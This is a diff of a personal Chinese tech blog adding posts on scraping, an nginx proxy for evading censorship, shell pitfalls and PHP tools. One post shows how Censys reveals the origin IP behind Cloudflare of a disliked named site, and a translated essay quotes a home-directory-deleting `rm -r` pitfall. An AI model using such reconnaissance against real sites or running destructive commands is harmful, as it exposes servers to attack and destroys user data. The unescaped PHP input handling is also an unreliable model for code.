当然读取的CC也要防,比如如果登录页面上对尝试登录的次数没有限制的话,那么攻击者就可以不停地尝试,直到发现一个正确的密码。而如果用户用了弱密码,那么或许这个密码很快就可以被尝试出来。
|
||||
对了,还有一定要使用HTTPS,这样可以避免很多问题。
|
||||
针对不同的语言,防御的方法也不同,具体内容自己去搜索引擎上搜索吧。
|
||||
当然有些攻击实在防不住,那也没办法,像网站被GFWban,那种事除了恐怖分子就再没人能解了吧……当然如果不在乎域名的话,像某些小黄网那样整天换域名也行。
|
||||
还有就是使用云主机、虚拟空间等人一定要看好自己的密码,以及有可能可以找回密码的方法的密码(比如邮箱),不然被知道了密码,那基本上就无药可救了。
|
||||
方法就是邮箱的密码一定不要和其他的密码相同,重要网站的密码和次要网站的密码一定不能相同,还有就是不要在可疑的网站上输入自己的密码,如果有必要,一定先用错误的密码试一遍。
|
||||
|
||||
# 结尾
|
||||
总而言之,互联网上虽然有闲人,但是既闲又有心还欧的人不多,所以只要祈祷自己的网站不要被炸,它就不会被炸了233333
|
19
_posts/2019-03-22-bgm.md
Normal file
19
_posts/2019-03-22-bgm.md
Normal file
@ -0,0 +1,19 @@
|
||||
---
|
||||
layout: post
|
||||
title: 分享一下我最喜欢的游戏BGM
|
||||
tags: [分享, 游戏, BGM]
|
||||
---
|
||||
|
||||
今天我想分享一下我最喜欢的游戏BGM。<!--more-->
|
||||
|
||||
|来源|下载|
|
||||
| - | - |
|
||||
|某个同人游戏|[下载](/media/stage_ex3.mp3)|
|
||||
|某个已经关服的游戏|[下载](/media/bgm_sengokuop.mp3)|
|
||||
|
||||
~~(待补充)~~
|
||||
(2020.01.01附言)我喜欢Future Bass+少许的Moe元素的音乐(我觉得还是挺大众化的吧),不打算再补充更多的BGM了,希望能出现根据风格自动生成音乐的人工智能。
|
||||
|
||||
|
||||
<input name="live2dBGM" value="/media/bgm_sengokuop.mp3" type="hidden">
|
||||
<input name="live2dBGM" value="/media/stage_ex3.mp3" type="hidden">
|
16
_posts/2019-03-23-gitio.md
Normal file
16
_posts/2019-03-23-gitio.md
Normal file
@ -0,0 +1,16 @@
|
||||
---
|
||||
layout: post
|
||||
title: 让Git.io无限制
|
||||
tags: [无限制, Git.io, Github]
|
||||
---
|
||||
|
||||
如何让Git.io没有只能创建Github.com网站链接的限制呢?<!--more-->
|
||||
众周所知,[Git.io](https://Git.io)是一个不错的生成短链接的网站,由Github提供([相关链接](https://github.blog/2011-11-10-git-io-github-url-shortener/))
|
||||
然而Git.io只能缩短Github域名的网址。
|
||||
我还是挺喜欢Git.io这个域名的,尽管它比t.cn这种链接要长,但是Git(愚蠢)听起来就是很有意思啦23333
|
||||
所以我想了一个办法来解决Git.io只能创建Github.com网站链接的限制。
|
||||
(尽管很想搞一个能自定义Git.io链接的选项,可惜我前端不好LOL)
|
||||
(其实要不是因为CORS这种问题,就不用PHP来浪费资源了……)
|
||||
|
||||
# REMOVED
|
||||
由于此脚本被滥用导致本博客被删,此服务将不再提供
|
51
_posts/2019-04-05-cholang.md
Normal file
51
_posts/2019-04-05-cholang.md
Normal file
@ -0,0 +1,51 @@
|
||||
---
|
||||
layout: post
|
||||
title: Mayx对编程语言的选择
|
||||
tags: [Mayx, 编程语言]
|
||||
---
|
||||
|
||||
在编程语言里,我更喜欢冷门的Linux Shell,这是为什么呢?<!--more-->
|
||||
|
||||
# 不学习的语言
|
||||
## 糟糕的VS
|
||||
As We All Know,Microsoft Visual Studio是一个功能强大的IDE,光文档就和4本字典所含的字一样多,微软为了开发可真是尽心尽力啊!
|
||||
然而,强大的Visual Studio比某些3A大作还要耗资源,我的电脑实在是带不起来这强大的**IDE**
|
||||
更别说编译一个中型项目就要一晚上的时间,错了一个字就要再等一个晚上!
|
||||
而且,这个IDE就要1GB+,而运行平台就要100MB+。实在忍不了。
|
||||
所以,我不选择C#,ASP.net等微软系编程语言作为我使用的编程语言。
|
||||
(其实我还没考虑VS要花钱的问题,如果考虑这个就更糟糕了)
|
||||
|
||||
## 难用的编译型语言
|
||||
其实,IDE的问题不是主要问题,选择编程语言,还是以语法为准 ~~(不考虑效率吗?)~~
|
||||
编译型语言要记的东西太多了,一大堆乱七八糟的库,看似整洁然而臃肿的代码,都是令我劝退的主要原因。
|
||||
编译需要花时间其实都不是什么大事,反正有服务器,编译时挂在上面就可以了。
|
||||
但是编译时用的长如面条一样的选项就令人很难受了。
|
||||
这也是为什么我喜欢能一键安装的Ubuntu,不需要编译,速度又快又好,可谓是用户首选。
|
||||
所以,包括Java在内,C、C++、Golang等语言我都不选择
|
||||
|
||||
## 严格的Python
|
||||
我写程序从来不用缩进,因为手机上没有(LOL)
|
||||
Python是个不错的的解释型语言,功能强大,未来发展前景也不错,但是写Python时要用尺子,不然就不知道嵌套了几层循环……
|
||||
其他语言至少有花括号,只要数花括号的数量就知道嵌套的是否正确,然而Python就只能用尺子,而且如果嵌套的有问题,一堆代码就等着打空格吧!
|
||||
还有import,Python需要调用库,感觉和C的include差不多,但是这一点让我感觉很反感。
|
||||
所以相比之下,我不选择Python
|
||||
|
||||
## 其他的解释型语言
|
||||
Ruby?那是什么?听起来就很糟糕~
|
||||
Node.js?感觉还行,就是配置起来太麻烦了……
|
||||
PowerShell?微软的东西还是算了,没人用的~(包括Windows Server也都算了吧,微软还是不要干不擅长的东西~)
|
||||
Perl?听起来不错,有时间可以了解了解。
|
||||
…………
|
||||
|
||||
# 学习的语言
|
||||
## Linux Shell?
|
||||
虽然Ta的语法有点反人类,很多命令都是简写,不过我就是喜欢缩减的单词和命令,好记又好输,虽然不支持GUI是个缺点……但是扩展性强的Ta可以用其他方式弥补这一缺点
|
||||
|
||||
## PHP
|
||||
其实之前也没想学PHP,不过后来有了服务器,有了运行的空间倒也没什么不方便的,而且想要什么功能基本上一搜一个准,果然PHP是全世界最好的语言23333
|
||||
|
||||
## JavaScript
|
||||
为了搭这个博客顺带着学了一下,运行简单,网络上示例多都是Ta的优点,所以JS也不错。
|
||||
|
||||
# 结论
|
||||
所以Mayx选择了编译型语言中的Linux Shell、PHP、JavaScript。
|
51
_posts/2019-04-05-crash.md
Normal file
51
_posts/2019-04-05-crash.md
Normal file
@ -0,0 +1,51 @@
|
||||
---
|
||||
layout: post
|
||||
title: Mayx又双叒叕Crash了……
|
||||
tags: [Mayx, Crash]
|
||||
---
|
||||
|
||||
最近感觉SAN值又往下掉,发篇博客分析一下。<!--more-->
|
||||
|
||||
# Mayx的吐槽
|
||||
怎么又Crash了?不是说MOS是全世界最好的系统吗 ~~(全是坑的系统吗23333)~~ ……
|
||||
|
||||
# Mayx的马奇诺防线
|
||||
至少还是全世界最好的系统,那么有哪些保护措施呢?
|
||||
|
||||
- 理智保护
|
||||
该保护仅在有着足够的SAN值才可使用,SAN值接近于0无法使用……
|
||||
|
||||
- 信仰(MOS)
|
||||
感觉有点像Avatar therapy,不过应该还是有区别的。不过当MOS也开始报错,开始Crash时,那就无能为力了……
|
||||
|
||||
- 自动还原(遗忘)
|
||||
当SAN值低于一定程度时,会把思维恢复到一个之前正常的水平,以防SAN值继续降低。不过如果近一段时间的SAN值都不高的话,就失去它的作用了……
|
||||
|
||||
# Mayx的分析
|
||||
很好,MRS来处理一下这些问题!
|
||||
`MRS(Mayx Recovery System):[Failed]分析失败`
|
||||
`[Fatal Error]MRS Crashed`
|
||||
……还真是没用啊……好吧,MAS <-- MRS,开始分析
|
||||
```
|
||||
MAS(Mayx Analysis System):
|
||||
[Info]Booting……
|
||||
[Info]Connecting to MRS ............[OK]
|
||||
[Info]Processing……
|
||||
[Info]OK,Exporting Report……
|
||||
```
|
||||
不错!来看一下报告:
|
||||
|
||||
## MAS(Mayx Analysis System) Report
|
||||
查找到错误:不可预料的系统错误
|
||||
源:Mayx
|
||||
以下为出现错误的可能性:
|
||||
源镜像兼容性错误
|
||||
Details:
|
||||
由于镜像与环境不兼容出现的错误,部分功能发生冲突,Robust Index过低,滥用等原因使系统硬件损耗过大,最终使整个系统呈现不可逆转的性能下降……
|
||||
|
||||
## MRS(Mayx Recovery System) Report
|
||||
[Warn]没有针对该错误的解决方案
|
||||
|
||||
# 结论
|
||||
还好现在的SAN值恢复了,不过既然性能下降不可逆转,那Crash的问题迟早还会出现,尤其是SAN值降为0时,那就真的完蛋了……
|
||||
~~(各位还是忽略这看起来乱七八糟的中二文吧23333)~~
|
85
_posts/2019-04-13-iwara.md
Normal file
85
_posts/2019-04-13-iwara.md
Normal file
@ -0,0 +1,85 @@
|
||||
---
|
||||
layout: post
|
||||
title: 如何下载Iwara上的视频?
|
||||
tags: [Iwara, PHP, 视频]
|
||||
---
|
||||
|
||||
PHP果然是全世界最好的语言,我又用PHP解决了一个问题!<!--more-->
|
||||
|
||||
# 制作原因
|
||||
Iwara(Ecchi)上的视频是真的有意思,尤其是镇站之宝OBSERVATION DIARY,简直是R183D动画的巅峰 ~~(请原谅我的孤陋寡闻)~~ ,所以为了更好的看Iwara上的的视频,我写了Iwara Viewer来帮助我们下载Iwara(Ecchi)上面的视频。
|
||||
|
||||
# Code
|
||||
```php
|
||||
<?php
|
||||
if ( $_GET["ID"] == '' ) {
|
||||
if ( $_GET["page"] == '' ) {
|
||||
$_GET["page"] = 0;
|
||||
}
|
||||
if ( $_GET["sort"] == '' ) {
|
||||
$_GET["sort"] = "date";
|
||||
}
|
||||
$url = 'https://ecchi.iwara.tv/videos?page='.$_GET["page"].'&sort='.$_GET["sort"];
|
||||
$str = file_get_contents($url);
|
||||
$preg='/<a href="\/videos\/(.*?)".*?>(.*?)<\/a>/is';
|
||||
preg_match_all($preg,$str,$match);//在$str中搜索匹配所有符合$preg加入$match中
|
||||
echo "<title>Mayx Iwara Viewer</title>";
|
||||
echo "<h1>Mayx Iwara Viewer</h1><br />Sort by: <a href=\"?page=".$_GET["page"]."&sort=date\">Date</a> <a href=\"?page=".$_GET["page"]."&sort=views\">Views</a> <a href=\"?page=".$_GET["page"]."&sort=likes\">Likes</a><hr /><table border=\"1\"><tr>";
|
||||
$j=0;
|
||||
for($i=0;$i<count($match[0]);$i++)//逐个输出超链接地址
|
||||
{
|
||||
if (($i % 2) == $j) {
|
||||
if ( $match[1][$i] == $match[1][$i+1] ) {
|
||||
echo "<td><a href=\"https://ecchi.iwara.tv/videos/".$match[1][$i]."\">".$match[2][$i]."</a></td>";
|
||||
} else {
|
||||
echo "<td><a href=\"https://ecchi.iwara.tv/videos/".$match[1][$i]."\">No Image</a></td><td>".$match[2][$i]."</td><td><a href=\"https://ecchi.iwara.tv/videos/".$match[1][$i]."\">View in Iwara</a><br><a href=\"?ID=https://ecchi.iwara.tv/videos/".$match[1][$i]."\">Download Url in Server</a></td></tr><tr>";
|
||||
if ($j == 0) {
|
||||
$j = 1;
|
||||
} else {
|
||||
$j = 0;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
echo "<td>".$match[2][$i]."</td><td><a href=\"https://ecchi.iwara.tv/videos/".$match[1][$i]."\">View in Iwara</a><br><a href=\"?ID=https://ecchi.iwara.tv/videos/".$match[1][$i]."\">Download Url in Server</a></td></tr><tr>";
|
||||
}
|
||||
}
|
||||
echo "</tr></table><hr><a href=\"?page=".($_GET["page"] + 1)."&sort=".$_GET["sort"]."\" >Next Page</a>";
|
||||
} else {
|
||||
$data = file_get_contents('https://ecchi.iwara.tv/api/video/'.trim(strrchr($_GET["ID"], '/'),'/'));
|
||||
$file = json_decode($data,true);
|
||||
|
||||
echo "Download URL:<br>https:";
|
||||
echo $file[0]['uri'];
|
||||
}
|
||||
```
|
||||
(2019.4.18 更新:解决了部分没有图片而导致错位的问题)
|
||||
(2019.4.18 更新:解决了由于智障导致的图片被筛掉的问题,但是并不保证会不会再出现问题)
|
||||
|
||||
# 使用方法
|
||||
除了比Iwara更简陋,其他的没什么太大的区别,增加了一个Download Url in Server的选项,用来帮助在服务器上直接下载视频(因为Iwara通过识别IP来防盗链……),得出的链接可直接在服务器上下载(比如用KodExplorer),在服务器上下载的速度还是很不错的。
|
||||
不过有的时候Iwara图片服务器也会被Ban(比如移动网),这时候就应该用到[miniProxy](https://github.com/joshdick/miniProxy)了(当然代码也得改,就是我太懒了,懒得改2333)
|
||||
|
||||
# 缺点
|
||||
没有观看数/作者等信息、而且不知道Iwara的服务器在哪里,用这个速度浏览的速度也不会有太大提升……
|
||||
|
||||
# 演示
|
||||
<https://counter.mayx.me/iwaraview.php>
|
||||
如需用演示站下载,可复制地址,然后用Download Tool下载(因为演示站的IP和你的服务器IP不同):
|
||||
```php
|
||||
<h1>Mayx Iwara Video Download Tool</h1><form action="iwara.php" method="get" >
|
||||
|
||||
Video URL: <input type="text" name="ID"><br>
|
||||
<input type="submit">
|
||||
|
||||
</form>
|
||||
<br>
|
||||
<?php
|
||||
if ( $_GET["ID"] != '' ) {
|
||||
$data = file_get_contents('https://ecchi.iwara.tv/api/video/'.trim(strrchr($_GET["ID"], '/'),'/'));
|
||||
$file = json_decode($data,true);
|
||||
|
||||
echo "Download URL:<br>https:";
|
||||
echo $file[0]['uri'];
|
||||
}
|
||||
?>
|
||||
```
|
61
_posts/2019-04-24-shell.md
Normal file
61
_posts/2019-04-24-shell.md
Normal file
@ -0,0 +1,61 @@
|
||||
---
|
||||
title: (转)Shell 脚本编程陷阱
|
||||
layout: post
|
||||
author: Carpetsmoker
|
||||
tags: [Shell, 编程]
|
||||
---
|
||||
|
||||
随着代码量的增加,你的脚本会变得越来越难以维护,但你也不会想用别的语言重写一遍,因为你已经在这个 shell 版上花费了很多时间。
|
||||
<!--more-->
|
||||
|
||||
Shell 脚本很棒,你可以非常轻松地写出有用的东西来。甚至像是下面这个傻瓜式的命令:
|
||||
```
|
||||
# 用含有 Go 的词汇起名字:
|
||||
$ grep -i ^go /usr/share/dict/* | cut -d: -f2 | sort -R | head -n1
|
||||
goldfish
|
||||
```
|
||||
如果用其他编程语言,就需要花费更多的脑力,用多行代码实现,比如用 Ruby 的话:
|
||||
```
|
||||
puts(Dir['/usr/share/dict/*-english'].map do |f|
|
||||
File.open(f)
|
||||
.readlines
|
||||
.select { |l| l[0..1].downcase == 'go' }
|
||||
end.flatten.sample.chomp)
|
||||
```
|
||||
Ruby 版本的代码虽然不是那么长,也并不复杂。但是 shell 版是如此简单,我甚至不用实际测试就可以确保它是正确的。而 Ruby 版的我就没法确定它不会出错了,必须得测试一下。而且它要长一倍,看起来也更复杂。
|
||||
|
||||
这就是人们使用 Shell 脚本的原因,它简单却实用。下面是另一个例子:
|
||||
```
|
||||
curl https://nl.wikipedia.org/wiki/Lijst_van_Nederlandse_gemeenten |
|
||||
grep '^<li><a href=' |
|
||||
sed -r 's|<li><a href="/wiki/.+" title=".+">(.+)</a>.*</li>|\1|' |
|
||||
grep -Ev '(^Tabel van|^Lijst van|Nederland)'
|
||||
```
|
||||
这个脚本可以从维基百科上获取荷兰基层政权的列表。几年前我写了这个临时的脚本,用来快速生成一个数据库,到现在它仍然可以正常运行,当时写它并没有花费我多少精力。但要用 Ruby 完成同样的功能则会麻烦得多。
|
||||
|
||||
现在来说说 shell 的缺点吧。随着代码量的增加,你的脚本会变得越来越难以维护,但你也不会想用别的语言重写一遍,因为你已经在这个 shell 版上花费了很多时间。
|
||||
我把这种情况称为“Shell 脚本编程陷阱”,这是[沉没成本谬论](https://youarenotsosmart.com/2011/03/25/the-sunk-cost-fallacy/)的一种特例(LCTT 译注:“沉没成本谬论”是一个经济学概念,可以简单理解为,对已经投入的成本可能被浪费而念念不忘)。
|
||||
实际上许多脚本会增长到超出预期的大小,你经常会花费过多的时间来“修复某个 bug”,或者“添加一个小功能”。如此循环往复,让人头大。
|
||||
如果你从一开始就使用 Python、Ruby 或是其他类似的语言来写这个程序,你可能会在写第一版的时候多花些时间,但以后维护起来就容易很多,bug 也肯定会少很多。
|
||||
以我的 [packman.vim](https://github.com/Carpetsmoker/packman.vim) 脚本为例。它起初只包含一个简单的用来遍历所有目录的 `for` 循环,外加一个 `git pull`,但在这之后就刹不住车了,它现在有 200 行左右的代码,这肯定不能算是最复杂的脚本,但假如我一上来就按计划用 Go 来编写它的话,那么增加一些像“打印状态”或者“从配置文件里克隆新的 git 库”这样的功能就会轻松很多;添加“并行克隆”的支持也几乎不算个事儿了,而在 shell 脚本里却很难实现(尽管不是不可能)。事后看来,我本可以节省时间,并且获得更好的结果。
|
||||
出于类似的原因,我很后悔写出了许多这样的 shell 脚本,而我在 2018 年的新年誓言就是不要再犯类似的错误了。
|
||||
# 附录:问题汇总
|
||||
需要指出的是,shell 编程的确存在一些实际的限制。下面是一些例子:
|
||||
- 在处理一些包含“空格”或者其他“特殊”字符的文件名时,需要特别注意细节。绝大多数脚本都会犯错,即使是那些经验丰富的作者(比如我)编写的脚本,因为太容易写错了,[只添加引号是不够的](https://dwheeler.com/essays/filenames-in-shell.html)。
|
||||
- 有许多所谓“正确”和“错误”的做法。你应该用 `which` 还是 `command`?该用 `$@` 还是 `$*`,是不是得加引号?你是该用 `cmd $arg` 还是 `cmd "$arg"`?等等等等。
|
||||
- 你没法在变量里存储空字节(0x00);shell 脚本处理二进制数据很麻烦。
|
||||
- 虽然你可以非常快速地写出有用的东西,但实现更复杂的算法则要痛苦许多,即使用 ksh/zsh/bash 扩展也是如此。我上面那个解析 HTML 的脚本临时用用是可以的,但你真的不会想在生产环境中使用这种脚本。
|
||||
- 很难写出跨平台的通用型 shell 脚本。`/bin/sh` 可能是 `dash` 或者 `bash`,不同的 shell 有不同的运行方式。外部工具如 `grep`、`sed` 等,不一定能支持同样的参数。你能确定你的脚本可以适用于 Linux、macOS 和 Windows 的所有版本吗(无论是过去、现在还是将来)?
|
||||
- 调试 shell 脚本会很难,特别是你眼中的语法可能会很快变得记不清了,并不是所有人都熟悉 shell 编程的语境。
|
||||
- 处理错误会很棘手(检查 `$?` 或是 `set -e`),排查一些超过“出了个小错”级别的复杂错误几乎是不可能的。
|
||||
- 除非你使用了 `set -u`,变量未定义将不会报错,而这会导致一些“搞笑事件”,比如 `rm -r ~/$undefined` 会删除用户的整个家目录([瞅瞅 Github 上的这个悲剧](https://github.com/ValveSoftware/steam-for-linux/issues/3671))。
|
||||
- 所有东西都是字符串。一些 shell 引入了数组,能用,但是语法非常丑陋和费解。带分数的数字运算仍然难以应付,并且依赖像 `bc` 或 `dc` 这样的外部工具(`$(( .. ))` 这种方式只能对付一下整数)。
|
||||
|
||||
# 反馈
|
||||
你可以发邮件到 <martin@arp242.net>,或者在 [GitHub 上创建 issue](https://github.com/Carpetsmoker/arp242.net/issues/new) 来向我反馈,提问等。
|
||||
|
||||
---
|
||||
|
||||
译者: [jdh8383](https://linux.cn/lctt/jdh8383)
|
||||
翻译: <https://linux.cn/article-10772-1.html>
|
||||
源:[The shell scripting trap](https://arp242.net/weblog/shell-scripting-trap.html)
|
60
_posts/2019-04-27-antiban.md
Normal file
60
_posts/2019-04-27-antiban.md
Normal file
@ -0,0 +1,60 @@
|
||||
---
|
||||
layout: post
|
||||
title: Mayx的Anti-Ban计划
|
||||
tags: [Mayx, Anti-Ban]
|
||||
---
|
||||
|
||||
经过研究,网关管理没什么好怕的!<!--more-->
|
||||
|
||||
# 起因
|
||||
众所周知,由于某些原因,互联网总是被上层网关所限制,所以为了解决这个问题,我研究了一下Ban的原理和Anti-Ban的方法。
|
||||
|
||||
# Ban的原理
|
||||
Ban网站的原理大概分为以下几点:
|
||||
1.DNS缓存污染(Ban域名)
|
||||
2.IP地址或传输层端口封锁(BanIP)
|
||||
3.TCP重置攻击
|
||||
|
||||
具体内容请自行前往[Wikipedia](https://zh.wikipedia.org/wiki/%E4%BA%92%E8%81%94%E7%BD%91%E5%AE%A1%E6%9F%A5
|
||||
)自行查询(这个链接可没有特指哦~),在此不再详述。
|
||||
|
||||
# Anti-Ban的方案
|
||||
## 针对Ban域名的方案
|
||||
DNSSEC、DNSCrypt、DoT、DoH等等都可以解决这个问题,或者是不通过DNS,直接获得IP,然后发送Host头来获取网页内容也可以。我的想法是建立一个本地Proxy,先通过前面几种方案获得IP,然后发送Host,这里需要注意的是要通过HTTPS发送但是不使用SNI,因为SNI是不加密的,而且用代理就没必要一定要获得正确的证书。
|
||||
防火墙会对SNI进行拦截,所以需要注意。
|
||||
|
||||
## 针对BanIP的方案
|
||||
BanIP是真的绝,因为网络控制毕竟在网关,Ta要丢包谁也没办法,不过可以试试CloudFlare,CloudFlare可以不使用原网站的IP,而且很多网站都使用CloudFlare,所以BanCloudFlare的IP肯定不是好选择。
|
||||
|
||||
## TCP重置攻击
|
||||
HTTPS基本上可以避免这个问题,除了会受SNI没加密的影响(TLS1.3可解),但是证书……没关系,靠本地Proxy对证书的要求不是很多。这个解决方案基本上就是加密,让网关不知道你在干什么,也就不能对你发RST包了。
|
||||
|
||||
# 计划
|
||||
制作一个本地Proxy小程序,用Python是个不错的选择,绕过DNS和TCP Reset,再配上CloudFlare,基本上网关应该就Ban不了你了。
|
||||
不过Python的学习成本还挺高的,感觉比PHP难……回头有时间可以试试看。
|
||||
|
||||
# 结果
|
||||
Python对我来说果然还是太难了QAQ,所以,我觉得使用Nginx就够用了,配置如下:
|
||||
```
|
||||
location / {
|
||||
proxy_pass https:// #填写目标IP;
|
||||
proxy_redirect off ;
|
||||
proxy_set_header Host #填写目标域名;
|
||||
proxy_set_header X-Real-IP $remote_addr;
|
||||
proxy_set_header REMOTE-HOST $remote_addr;
|
||||
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
||||
proxy_connect_timeout 300; #跟后端服务器连接超时时间,发起握手等候响应时间
|
||||
proxy_send_timeout 300; #后端服务器回传时间,就是在规定时间内后端服务器必须传完所有数据
|
||||
proxy_read_timeout 600; #连接成功后等待后端服务器的响应时间,已经进入后端的排队之中等候处理
|
||||
proxy_buffer_size 256k; #代理请求缓冲区,会保存用户的头信息以供nginx进行处理
|
||||
proxy_buffers 4 256k; #同上,告诉nginx保存单个用几个buffer最大用多少空间
|
||||
proxy_busy_buffers_size 256k; #如果系统很忙时候可以申请最大的proxy_buffers
|
||||
proxy_temp_file_write_size 256k; #proxy缓存临时文件的大小
|
||||
proxy_next_upstream error timeout invalid_header http_500 http_503 http_404;
|
||||
proxy_max_temp_file_size 128m;
|
||||
}
|
||||
```
|
||||
果然,搞事情还是用自己熟悉的搞比较好~23333
|
||||
|
||||
# 事实
|
||||
我果然还是图样图森破了~我想的方案其实就是[域前置](https://zh.wikipedia.org/wiki/%E5%9F%9F%E5%89%8D%E7%BD%AE),所以,该计划作废QAQ
|
19
_posts/2019-05-03-origip.md
Normal file
19
_posts/2019-05-03-origip.md
Normal file
@ -0,0 +1,19 @@
|
||||
---
|
||||
layout: post
|
||||
title: 如何“人肉”服务器?
|
||||
tags: [服务器, CDN, IP]
|
||||
---
|
||||
|
||||
没错,我就是来安利Censys的!<!--more-->
|
||||
|
||||
# 起因
|
||||
当今有不少网站都喜欢在外面套CDN,因为CDN既能加速,又能节约服务器带宽,还能保护服务器(没错,说的就是Cloudflare,不过不止Ta一家)。但是用了CDN后就不知道源站IP了,这还是挺糟糕的,那怎么办呢?
|
||||
|
||||
# 方案
|
||||
不错,接下来该[Censys](https://censys.io)出场了,假如我对[ESUWiki](https://esu.wiki)感觉很不爽 ~~(我花火学园服务器加域名一年也花不了$100,你ESUWiki倒好,一年$1000+,是在搞什么?)~~ ,然后我发现Ta也套了一层Cloudflare。好,那么接下来就让我们打开Censys搜一下Ta吧!
|
||||
以esu.wiki为关键词搜索,搜到IP:`149.56.110.126` 然后实际访问一下<https://149.56.110.126>,果然跳转到了ESUWiki,看来就是Ta了?
|
||||
不过好像也不完全是这样,Ta先跳到<https://weiki.esu.zone/>,然后才跳到<https://esu.wiki>,这就很麻烦了……算啦,反正这个服务器肯定和ESUWiki脱不了干系~
|
||||
|
||||
# 结果
|
||||
通过Censys可以找到不少Cloudflare后面的IP,但也不代表这就没救了,只要设置防火墙白名单就能解决!
|
||||
Censys还有更多功能,像端口扫描之类的都可以,虽然也有其他类似的网站,不过既然Censys用的顺手, ~~而且名字又好听23333,~~ 所以,就好好用Ta吧!
|
21
_posts/2019-05-12-baidu.md
Normal file
21
_posts/2019-05-12-baidu.md
Normal file
@ -0,0 +1,21 @@
|
||||
---
|
||||
layout: post
|
||||
title: 如何不使用百度App打开搜索结果?
|
||||
tags: [百度, 不使用]
|
||||
---
|
||||
|
||||
在中国,还是百度用的多啊~<!--more-->
|
||||
|
||||
# 起因
|
||||
不知何时起,百度的搜索结果几乎都要下载App才能查看,虽然不是很喜欢CSDN,但是百度全是CSDN的内容……百度用了很多年也实在是没心用其他的搜索引擎,但是百度App做的是公认的烂,实在不想用。
|
||||
对于这个问题,我该怎么办呢?
|
||||
|
||||
# 研究
|
||||
我发现,在百度跳转页面的地址里,有一个参数叫做`web_url`,这记录了实际要跳转的页面,虽然用插件应该更好,但是我不会~,所以我想了想,打算用JS解决这个问题。
|
||||
|
||||
# 代码
|
||||
[baidu.html](https://raw.githubusercontent.com/Mabbs/mabbs.github.io/master/baidu.html)
|
||||
|
||||
# 用法
|
||||
打开[Baidu移动页面转换器](https://mabbs.github.io/baidu.html),然后打开百度移动版搜索的结果,一般要求下载百度App的URL开头是`mbd.baidu.com`。复制这个URL,粘贴到转换器里,提交后就会自动跳转到真正的页面了。
|
||||
|
37
_posts/2019-05-27-wikipic.md
Normal file
37
_posts/2019-05-27-wikipic.md
Normal file
@ -0,0 +1,37 @@
|
||||
---
|
||||
layout: post
|
||||
title: 使用PHP批量下载Mediawiki站点的图片
|
||||
tags: [PHP, Mediawiki, 图片]
|
||||
---
|
||||
|
||||
又是万能的PHP!不过还是Mediawiki API的功劳<!--more-->
|
||||
最近我为了备份一下[某个Wiki站](http://zh.moegirl.org/)(Ta们把R18名字空间的东西删的一干二净 ~~后来才知道原来转移到了[一个Wiki上](https://www.hmoegirl.com/),真的是好久没关注了~~ ),然后学习了一下Mediawiki API来下载整个Wiki(Ta们把站点导出也给弄没了QAQ)
|
||||
文本很好下载,但是Mediawiki的图片我不知道存在哪里,API文档翻烂了也没找到把图片解析成地址的API,那怎么办呢?
|
||||
|
||||
# 解决方案
|
||||
“解析”?emmmm……parse?不错,正好有这么一个action,好的,那就这样搞吧!
|
||||
|
||||
# Code
|
||||
```php
|
||||
<?php
|
||||
set_time_limit(0);
|
||||
ignore_user_abort();
|
||||
$list = array("图片数组");
|
||||
|
||||
$arrlength=count($list);
|
||||
for($x=0;$x<$arrlength;$x++) {
|
||||
$tmp = json_decode(file_get_contents("https://MediaWiki的地址/api.php?action=parse&text=[[File:".$list[$x]."]]&contentmodel=wikitext&formatversion=2&format=json"),true);
|
||||
$preg='/src="(.*?)"/is';
|
||||
preg_match($preg,$tmp[parse][text],$match);
|
||||
$tt=$tt."
|
||||
".$match[1];
|
||||
}
|
||||
$markout = fopen("List.txt", "w") or die("Unable to open file!");
|
||||
fwrite($markout, $tt);
|
||||
fclose($markout);
|
||||
die("Finish");
|
||||
?>
|
||||
```
|
||||
|
||||
# P.S.
|
||||
如果需要获取该Wiki的所有图片,可以从`api.php?action=query&list=allimages`这里获取。
|
19
_posts/2019-05-30-exam.md
Normal file
19
_posts/2019-05-30-exam.md
Normal file
@ -0,0 +1,19 @@
|
||||
---
|
||||
layout: post
|
||||
title: 高考即将来临
|
||||
tags: [高考]
|
||||
---
|
||||
|
||||
都要高考了,看什么Mediawiki API文档?!<!--more-->对此,我也实在是无言以对。而且[上一篇博客](/2019/05/27/wikipic.html)写的那个代码实在是太智障了,就和我现在在高考(2019.06.07)马上来临时还在智障的写着博客一样的智障,而更加智障的是,我的成绩那么差,差本来就很智障,而我现在的行为可谓是智障中的智障,再加上看了文档后写的那智障代码,我真不知道该怎么描述自己的智障了……
|
||||
|
||||
# [上一篇博客](/2019/05/27/wikipic.html)的智障之处
|
||||
多少图片就要请求多少次,简直是太智障了吧!为什么不一次性POST过去,然后用`preg_match_all`一解析不就完事了嘛!还非得等好几分钟一个一个解析那些地址……
|
||||
|
||||
# 现在的智障之处
|
||||
2019年高考日的倒计时:
|
||||
距今还有8天 (2019年06月07日 星期五,己亥年(猪年)五月初五)
|
||||
这就不用解释了吧!
|
||||
|
||||
# 怎么办?
|
||||
~~我能怎么办?我也很绝望啊~~~
|
||||
如果以后有工作的话,说不定会变成工作狂吧(LOL)!
|
227
_posts/2019-06-10-cheat.md
Normal file
227
_posts/2019-06-10-cheat.md
Normal file
@ -0,0 +1,227 @@
|
||||
---
|
||||
layout: post
|
||||
title: Mayx被外国人骗了?!
|
||||
tags: [Mayx, 外国人, 骗子]
|
||||
---
|
||||
|
||||
简直不可思议,我要把这个锅扔给百度翻译!<!--more-->~~(百度翻译表示不接这个锅23333)~~
|
||||
|
||||
# 事件发展
|
||||
这个事件发生在高考前,现在高考结束了来总结一下
|
||||
有一天,有一个叫做[Lori Robinson](mailto:lori.j.robinson@usa.com)的外国人给我发了一封邮件,内容如下:
|
||||
|
||||
> Hello dear,
|
||||
>
|
||||
> Thanks so much for coming into my life the time I needed you most. I have decided to spend the rest of my energy in building a home with you, firstly, we have to accept our faith that this journey of love will not be so easy or rosy, but be assured that nothing good comes very easy and we need to be strong and be ready to stand for each other. I have decided to moving my assets to your country so I can forward for my retirement but I want to take an official leave so I can visit you in your country ,I have made some good fortune in this war zone, You know I offer contract security network for the crude oil lifting in Iraq and also I fund local miners to mine and extract gold and diamonds, at least 150 people are working in my mining concession legally given to me by the Afghan government, in return I have an NGO housing, clothing, feeding and education 100 motherless kids.
|
||||
>
|
||||
